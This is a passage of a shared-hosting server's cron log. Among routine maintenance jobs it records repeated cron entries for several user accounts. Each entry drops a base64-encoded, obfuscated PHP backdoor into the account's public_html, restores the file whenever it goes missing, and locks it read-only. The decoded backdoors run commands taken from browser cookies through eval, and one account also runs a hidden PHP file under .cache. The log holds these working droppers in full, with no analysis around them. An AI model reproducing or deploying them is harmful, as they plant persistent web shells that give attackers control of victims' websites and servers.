F07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:07:01 medusa CROND[11499]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:08:01 medusa CROND[906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:08:01 medusa CROND[968]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:08:01 medusa CROND[1281]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:08:01 medusa CROND[1283]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:08:01 medusa CROND[1285]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:08:01 medusa CROND[1290]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:08:01 medusa CROND[1291]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:08:01 medusa CROND[1295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:08:01 medusa CROND[1296]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:08:01 medusa CROND[1298]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:08:01 medusa CROND[1299]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:08:01 medusa CROND[1300]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:08:01 medusa CROND[1305]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:08:01 medusa CROND[1309]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 16:09:01 medusa CROND[22485]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 16:09:02 medusa CROND[22573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:09:02 medusa CROND[22574]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:09:02 medusa CROND[22576]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:09:02 medusa CROND[22577]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:09:02 medusa CROND[22580]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:09:02 medusa CROND[22582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:09:02 medusa CROND[22583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:09:02 medusa CROND[22584]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:09:02 medusa CROND[22585]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:09:02 medusa CROND[22587]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:09:02 medusa CROND[22589]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:09:02 medusa CROND[22588]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:10:01 medusa CROND[11776]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:10:01 medusa CROND[11810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:10:01 medusa CROND[11823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 16:10:02 medusa CROND[11934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 16:10:02 medusa CROND[11935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:10:02 medusa CROND[11937]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:10:02 medusa CROND[11938]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:10:02 medusa CROND[11941]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
